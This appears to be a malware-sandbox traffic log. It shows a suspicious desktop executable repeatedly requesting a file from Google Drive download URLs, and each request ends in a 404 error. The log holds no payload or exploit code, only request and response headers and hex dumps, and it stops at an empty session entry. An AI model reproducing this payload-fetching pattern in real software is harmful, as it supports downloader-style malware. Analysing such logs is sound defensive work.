2025-01-10 14:40:07 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:07 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7zOyZ_z_egok3C_ZoR9H9FIO7-iqgz8QNiY8ArKuWyQ_EVQmvv5np666Ypl81WBDjW Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:07 GMT Content-Security-Policy: script-src 'nonce-NEvNQ_MqteSIUQJHnvFsUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:07 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 61 37 7a 74 71 50 74 66 61 74 4b 71 71 6d 4f 75 74 6d 5f 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ia7ztqPtfatKqqmOutm_uQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.11.30	49849	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:18 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:18 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:18 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-q6f1CeBzDEXWCVZs3Y9UWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.11.30	49850	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:18 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:19 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7yxvJzuKsQhGBySc0GXgUYVxim7qsq1e7a5TrCAkUGkR7iiYt7uZYFtDQIKU5GzJVJ_OfZcBo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:19 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-AqQP996BuNqePta4g8Wysw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:19 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 41 68 38 43 49 73 32 69 4d 70 44 7a 51 41 41 61 48 47 38 75 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="xAh8CIs2iMpDzQAAaHG8uQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.11.30	49851	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:29 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:29 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:29 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-HLVRuH4tI3bqfKNWaq-5Wg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.11.30	49852	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:30 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Sq41LDwFHMX6GIJwd70kTyJKov8ru34BQpEQiQkgl1tB3C_J99ycQd5G5DfOYHxsQ Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:30 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-HyC5wNj-jg8t19EUA7C6zw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6d 74 74 6a 6c 50 38 6b 67 57 6d 77 36 5f 49 54 61 33 37 30 45 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="mttjlP8kgWmw6_ITa370Ew">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.11.30	49853	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:40 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:40 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:40 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-zynC3wW3Mto8jXhSwsiVUA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.11.30	49854	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:41 UTC	460	OUT	GET /download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:41 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4-6D8zDAZX4UyjirCHtCqb-BqO9OEakNOHN8USWFv6uMksFoU0sl_1nAlHjIOdaMmf Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:41 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-ARgZVScUaJZq1u8MsJi6YA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:41 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 59 54 36 47 63 70 68 51 34 51 4d 37 38 4c 46 71 5f 6d 31 44 7a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="YT6GcphQ4QM78LFq_m1Dzw">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.11.30	49855	142.250.190.78	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:53 UTC	418	OUT	GET /uc?export=download&id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=FdzvdvLUKOfMZF5HruMdHtIqy6z9uYtEQZB2DVwLUkyT65qHNbaviITvqgFu9Y33KYJLPyFkD0O7adSrC9y9JpWaGgfQ3uLcD0bSpnXdwGJbJFKAUcy9EqLcSfwTtbsb_fhMMmjACLB2V-icin6JbVwD99CceXBVV-XYsZgvsKn4U6MTkJ-rXwby
2025-01-10 14:40:54 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:54 GMT Location: https://drive.usercontent.google.com/download?id=1o7aKLajks8i40wBTCcnkvTZTxHaVb9lJ&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-bi5abIyOIld35-TNiaBVMw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.11.30	49856	142.250.191.225	443	5248	C:\Users\user\Desktop\Ub46mg9pn4.exe

Timestamp	Bytes transferred	Direction	Data
